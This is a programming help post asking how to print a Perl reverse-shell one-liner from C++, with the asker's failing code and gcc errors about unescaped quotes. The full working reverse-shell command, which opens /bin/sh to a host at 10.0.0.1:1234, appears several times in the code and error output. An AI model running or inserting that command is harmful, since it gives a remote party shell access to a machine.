I'm trying to print a reverse shell one liner to the terminal using C++ (not running the command, just printing it) -
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
This is the one liner, I've tried to put it in std::string but I quickly realized it doesn't like that at all. I also tried to just pipe it to cout directly, I'm not sure how to deal with the "bad chars", what is the best way to go about doing this? I want to print it with cout somehow.
#include <iostream>
#include <string>
int main() {
std::string perl {"perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'"};
std::cout << perl;
std::cout << "perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'" << std::endl;
}
test.cpp:5:45: error: too many decimal points in number
5 | std::string perl {"perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'"};
| ^~~~~~~~
test.cpp:8:40: error: too many decimal points in number
8 | std::cout << "perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'" << std::endl;
| ^~~~~~~~
test.cpp: In function ‘int main()’:
test.cpp:5:45: error: expected ‘}’ before numeric constant
5 | std::string perl {"perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'"};
| ~ ^~~~~~~~
test.cpp:5:45: error: expected ‘,’ or ‘;’ before numeric constant
test.cpp: At global scope:
test.cpp:6:7: error: ‘cout’ in namespace ‘std’ does not name a type
6 | std::cout << perl;
| ^~~~
In file included from test.cpp:1:
/usr/include/c++/10/iostream:61:18: note: ‘std::cout’ declared here
61 | extern ostream cout; /// Linked to standard output
| ^~~~
test.cpp:8:7: error: ‘cout’ in namespace ‘std’ does not name a type
8 | std::cout << "perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'" << std::endl;
| ^~~~
In file included from test.cpp:1:
/usr/include/c++/10/iostream:61:18: note: ‘std::cout’ declared here
61 | extern ostream cout; /// Linked to standard output
| ^~~~
test.cpp:9:1: error: expected declaration before ‘}’ token
9 | }
|